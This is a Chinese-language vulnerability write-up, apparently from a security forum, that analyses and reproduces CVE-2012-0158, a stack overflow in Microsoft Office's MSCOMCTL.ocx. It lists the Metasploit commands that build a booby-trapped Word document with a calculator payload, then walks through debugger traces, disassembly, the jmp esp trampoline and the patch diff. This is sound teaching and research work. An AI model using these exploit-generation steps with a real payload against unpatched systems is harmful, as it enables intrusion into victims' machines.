-
-
[原创]CVE-2012-0158漏洞分析与复现
-
2021-8-23 16:13 11863
-
CVE-2012-0158漏洞分析
一、漏洞信息
1. 漏洞简述
- 漏洞名称:Microsoft Office MSCOMCTL.ocx栈溢出漏洞
- 漏洞编号:CVE-2012-0158
- 漏洞类型:栈溢出
- 漏洞影响:信息泄露
- CVSS评分:9.3(High)
- 利用难度:Medium
- 基础权限:不需要
2. 组件概述
Microsoft Office 是由微软公司开发的一套基于 Windows 操作系统的办公软件套装。常用组件有 Word、Excel、PowerPoint等。最新版本为Microsoft 365及Office 2019(正式版本)。
4. 漏洞影响
Windows系统下Microsoft Office 2003 SP3, 2007 SP2 和 SP3, 2010 和 2010 SP3。
5. 解决方案
- 不要打开来自不受信任来源的 Microsoft Office 和 WordPad 文档
- 防止 易受攻击的 ActiveX 控件 在 Internet Explorer 中运行
- 更新Microsoft Office版本至高于2010版本
二、漏洞复现
1. 环境搭建
- 靶机环境:Windows XPx86 SP3
- 靶机配置:192.168.44.153
- 攻击机环境:Kali Linux 2021.2
- 攻击机配置:192.168.44.152
2. 复现过程
本次复现设置的payload为在目标系统中启动calculator.exe
(1) Kali中启动Metasploit生成木马文件
1 2 3 4 | 搜索Adobe渗透模块 msf > search cve - 2012 - 0158 调用渗透模块 msf > use 0 |
1 2 3 4 5 6 7 8 | 设置payload为执行命令行 msf exploit(windows / fileformat / ms12_027_mscomctl_bof) > set payload 29 展示配置 msf exploit(windows / fileformat / ms12_027_mscomctl_bof) > show options 设置命令为运行calculator.exe msf exploit(windows / fileformat / ms12_027_mscomctl_bof > set cmd calc 生成木马文件 msf exploit(windows / fileformat / ms12_027_mscomctl_bof) > exploit |
(2) 将word木马文件发送至靶机
(3) 运行word
可看到跳出计算器窗口
三、漏洞分析
1. 基本信息
- 漏洞文件:msf.doc
- 漏洞函数:自定义函数sub_275C89C7
- 漏洞对象:Word文档
2. 背景知识
1. 栈溢出
程序将参数传入栈中时没有检查传入的参数是否大于预定的长度,导致栈中关键数据被参数覆盖
2. 跳板技术
从汇编角度讲,在函数执行retn返回前,ESP刚好指向栈中存放返回地址的+0x4地址,若是发生栈溢出,将函数的返回地址覆盖为jmp esp,剩下的部分覆盖为shellcode,程序就会在返回时自动跳转到shellcode地址,这种方法能够增加shellcode的写入空间,并且绕过ASLR。
3. 详细分析
1. 基础分析
参考《漏洞战争》及其配套资料,首先尝试运行配套资料中的poc.doc文件,会发生:
错误报告中显示出现了错误的访问地址0x41414141
使用二进制编辑器查看poc文件原格式:
看到41414141字符串
从DOCF11E0开始是OLE签名,从这里开始一直至结束部分能够被OffVis识别,通过将文件中这部分数据单独提取出来,并制成二进制文件,以放在OffVis中查看
制成二进制文件过程如下:
先将这部分数据复制到文档中
8
将文档中的十六进制的内容编码成二进制文件,这里使用python语言实现:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 | # 读取保存的txt文档 a = open ( 'a.text' ) # 将文档中的内容转为字符串形式 content = a.read() # 将字符串以十六进制形式编码为二进制数据 content = content.decode( 'hex' ) # 新建文件b b = open ( 'b' , 'wr' ) # 二进制数据写入文件中 b.write(content) # 关闭文件 a.close() b.close() |
将输出的文件b放在OffVis中查看格式,搜索41414141十六进制内容,找到其位置
0x41414141位于Data字段
2. 动态分析
调试前需要先设置OD。首先打开选项-调试选项,取消图中忽略的中断和异常:
插件-StrongOD-Options,取消勾选Skip Some Exceptions
打开Microsoft Word,使用OD附加进程WINWORD,按F9运行后打开poc文件
继续按F9,让程序运行,此时系统发生报错,提示为:
查看栈中数据
可发现最近的返回地址为0x275C8A0A,在反汇编窗口中跟随:
可看到函数MSCOMCTL.275C876D,初步断定是这个函数引起的栈溢出,在这里设置断点,重新运行,到达断点处此时栈中还没有发生溢出
单步步入进一步确定发生溢出的位置,当运行到指令
1 | 275C87CB F3:A5 rep movs dword ptr es:[edi],dword ptr ds:[esi] |
发现栈中数据逐渐被覆盖,一直执行这个rep movs指令,栈的前后变化如图:
可以看到从0x001215DC开始,往下的数据被逐个覆盖掉,就此,成功找到发生栈溢出的函数MSCOMCTL.275C876D
测试过poc.doc后,尝试分析用msf生成的运行计算器的msf.doc
重新运行word并附加,F9,打开msf.doc文件,F9运行,由于之前测试poc时在函数MSCOMCTL.275C876D处设置了断点,此次运行时程序自动断在了此处,跟进后运行至
1 | 275C87CB F3:A5 rep movs dword ptr es:[edi],dword ptr ds:[esi] |
指令执行前后栈中变化如下:
图中可以看到栈中的返回地址被覆盖为27583C30,在反汇编窗口中查看该地址指令:
指令为jmp esp,使用跳板修改程序执行流,那么说明栈中返回地址以下(0x001215EC以下)的内容为shellcode,在数据窗口和反汇编窗口中跟随这部分内容
能够看到shellcode前面是一堆“滑板指令”,运行后内存数据无任何变化,一直运行这这里时:
能够看到一段循环指令,指令后方出现call 001217B1,单步执行这个循环发现数据窗口中地址0x001217B1的内容在逐渐发生变化,初步断定为shellcode在解码操作,将其全部解码后数据窗口如图所示:
继续跟进call 001217B1,在执行指令001217B4 8D85 B2000000 lea eax,dword ptr ss:[ebp+0xB2]后发现寄存器EAX指向了字符串"calc", 继续向下执行 call ebp,此时系统弹出计算器,说明此步执行了运行计算器函数。继续运行后程序结束。
3. 静态分析
1. Ida分析
使用Ida打开C:\WINDOWS\system32\MSCOMCTL.OCX,查看地址0x275C8A0A所在的函数(从地址向上找push ebp),找到函数sub_275c89c7,分析该函数的代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 | .text: 275C89C7 push ebp .text: 275C89C8 mov ebp, esp .text: 275C89CA sub esp, 14h ; 开辟了 0x14 站空间 .text: 275C89CD push ebx .text: 275C89CE mov ebx, [ebp + bstrString] .text: 275C89D1 push esi .text: 275C89D2 push edi .text: 275C89D3 push 0Ch ; dwBytes .text: 275C89D5 lea eax, [ebp + var_14] .text: 275C89D8 push ebx ; lpMem .text: 275C89D9 push eax ; int .text: 275C89DA call sub_275C876D .text: 275C89DF add esp, 0Ch ; 用掉 0xC ,还剩 0x8 .text: 275C89E2 test eax, eax .text: 275C89E4 jl short loc_275C8A52 .text: 275C89E6 cmp [ebp + var_14], 6A626F43h .text: 275C89ED jnz loc_275D3085 .text: 275C89F3 cmp [ebp + dwBytes], 8 .text: 275C89F7 jb loc_275D3085 .text: 275C89FD push [ebp + dwBytes] ; dwBytes .text: 275C8A00 lea eax, [ebp + var_8] .text: 275C8A03 push ebx ; lpMem .text: 275C8A04 push eax ; int .text: 275C8A05 call sub_275C876D ; 出现溢出的函数 .text: 275C8A0A mov esi, eax |
在进入函数sub_275C876D之前堆栈还剩0x8大小的栈空间,F5转化为C伪代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 | int __stdcall sub_275C89C7( int a1, BSTR bstrString) { BSTR v2; / / ebx@ 1 int result; / / eax@ 1 int v4; / / esi@ 4 int v5; / / [sp + Ch] [bp - 14h ]@ 1 SIZE_T dwBytes; / / [sp + 14h ] [bp - Ch]@ 3 int v7; / / [sp + 18h ] [bp - 8h ]@ 4 int v8; / / [sp + 1Ch ] [bp - 4h ]@ 8 v2 = bstrString; result = sub_275C876D(( int )&v5, bstrString, 0xCu ); / / 此处用掉了 0xC 站空间 if ( result > = 0 ) { if ( v5 = = 1784835907 && dwBytes > = 8 ) / / 此处没有对字符串限制大小,反而大于约定长度也可以 { v4 = sub_275C876D(( int )&v7, v2, dwBytes); / / 此处发生溢出 if ( v4 > = 0 ) { if ( !v7 ) goto LABEL_8; bstrString = 0 ; v4 = sub_275C8A59((UINT)&bstrString, ( int )v2); if ( v4 > = 0 ) { sub_27585BE7(bstrString); SysFreeString(bstrString); LABEL_8: if ( v8 ) v4 = sub_275C8B2B(a1 + 20 , v2); return v4; } } return v4; } result = - 2147418113 ; } return result; } |
从代码中看出,没有对输入的字符串进行限制大小,跟进sub_275C876D函数查看
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 | int __cdecl sub_275C876D( int a1, LPVOID lpMem, SIZE_T dwBytes) { int __cdecl sub_275C876D( int a1, LPVOID lpMem, SIZE_T dwBytes) { LPVOID v3; / / ebx@ 1 int result; / / eax@ 1 LPVOID v5; / / eax@ 3 int v6; / / esi@ 4 int v7; / / [sp + Ch] [bp - 4h ]@ 1 const void * lpMema; / / [sp + 1Ch ] [bp + Ch]@ 3 v3 = lpMem; result = ( * ( * lpMem + 12 ))(lpMem, &v7, 4 , 0 ); if ( result > = 0 ) { if ( v7 = = dwBytes ) { v5 = HeapAlloc(hHeap, 0 , dwBytes); / / 分配堆空间,样本中的dwBytes远大于 0x8 lpMema = v5; if ( v5 ) { v6 = ( * ( * v3 + 12 ))(v3, v5, dwBytes, 0 ); if ( v6 > = 0 ) { qmemcpy(a1, lpMema, dwBytes); / / 将数据入栈,由于超出 8 字节,导致溢出 v6 = ( * ( * v3 + 12 ))(v3, &unk_27632368, ((dwBytes + 3 ) & 0xFFFFFFFC ) - dwBytes, 0 ); } HeapFree(hHeap, 0 , lpMema); result = v6; } else { result = - 2147024882 ; } } else { result = - 2147418113 ; } } return result; } } |
2. 补丁Diff
用Ida打开修复后的MSCOMCTL.ocx查看,修复函数为sub_275D0076,要求长度必须等于8,否则退出程序。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 | int __stdcall sub_275D0076( int a1, void * len ) { void * v2; / / ebx@ 1 int result; / / eax@ 1 int v4; / / eax@ 6 int v5; / / ecx@ 6 int v6; / / esi@ 6 int v7; / / [sp + Ch] [bp - 14h ]@ 1 int v8; / / [sp + 10h ] [bp - 10h ]@ 3 int v9; / / [sp + 14h ] [bp - Ch]@ 4 int v10; / / [sp + 18h ] [bp - 8h ]@ 6 int v11; / / [sp + 1Ch ] [bp - 4h ]@ 10 v2 = len ; result = CopyOLEdata(( int )&v7, len , 0xCu ); if ( result > = 0 ) { if ( v7 ! = 0x6A626F43 || v8 ! = 0x64 || v9 ! = 8 ) / / 直接判断cbSize是否等于 8 ,不为 8 则返回 return 0x8000FFFF ; v4 = CopyOLEdata(( int )&v10, v2, 8u ); v6 = v4; if ( v4 < 0 ) return v6; if ( v10 ) { len = 0 ; v6 = sub_275D6BB6((UINT)& len , ( int )v2); if ( v6 < 0 ) return v6; sub_275D02CC((BSTR) len ); SysFreeString((BSTR) len ); } if ( v11 ) v6 = sub_275D6E3F(v4, v5, a1 + 20 , ( int )v2); return v6; } return result; } |
四、缓解措施
恶意文件可以作为电子邮件附件发送,但攻击者必须说服用户打开附件才能利用该漏洞。
成功利用此漏洞的攻击者可以获得与本地用户相同的用户权限。与使用管理用户权限操作的用户相比,帐户配置为在系统上拥有较少用户权限的用户受到的影响较小。
五、参考文献
《漏洞战争》
看雪:CVE-2012-0158 office缓冲区溢出漏洞报告【千字长文】